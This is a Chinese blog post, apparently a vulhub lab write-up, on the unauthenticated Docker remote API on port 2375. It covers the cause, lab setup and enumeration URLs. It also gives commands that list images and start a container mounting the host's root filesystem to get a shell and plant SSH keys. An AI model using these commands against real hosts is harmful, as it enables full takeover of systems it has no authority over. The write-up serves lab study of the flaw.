你的位置:首页 > 信息动态 > 新闻中心
信息动态
联系我们

vulhub漏洞—docker_daemon_api未授权访问漏洞

2021/12/17 19:12:51

docker remote api

docker remote api主要的目的是取代命令行界面,

docker client和docker daemon通过unix domain socket进行通信.

默认情况下,只有本机的root和docker组用户才能操作docker.

漏洞成因

dockerd -H unix:///var/run/docker. sock -H 0.0. 0.0:2375

docker守护进程监听在0.0.0.0,外网可访问

没有使用iptable等限制可连接的来源ip

漏洞危害及常见的攻击方式

1.远程对被攻击主机的docker容器进行操作

docker  -H tcp://*.*.*.*:2375 images

2.远程启动被攻击主机的docker容器,并挂载宿主机的目录,通过容器来修改宿主机的author ized_ keys文件,写入公钥。

docker H tcp://*.*.*.*:2375 run -it-v /:/mnt imagelD /bin/sh

漏洞复现

vulhub漏洞:vulhub/README.zh-cn.md at master · vulhub/vulhub · GitHub

编译及启动漏洞环境:

docker-compose build
docker-compose up -d

环境启动后,将监听2375端口。

image-20211217184420395

访问 /version 目录下可以访问到对应的docker版本

image-20211217185604520

http://ip:2375/containers/json 列出容器信息

image-20211217185926347

http://ip:2375/images/json 列出 images 列表

image-20211217190046264

利用方法

准备一个安装好docker的虚拟机或者vps

获取镜像信息

docker -H tcp://靶机ip:2375 images

image-20211217190452897

随意启动一个容器,并将宿主机的 / 目录挂载到容器的 /mnt目录,这样就可以操作宿主机中的文件了

docker -H tcp://靶机ip:2375 run -it -v /:/mnt b39e0b392b7e /bin/sh

image-20211217190536264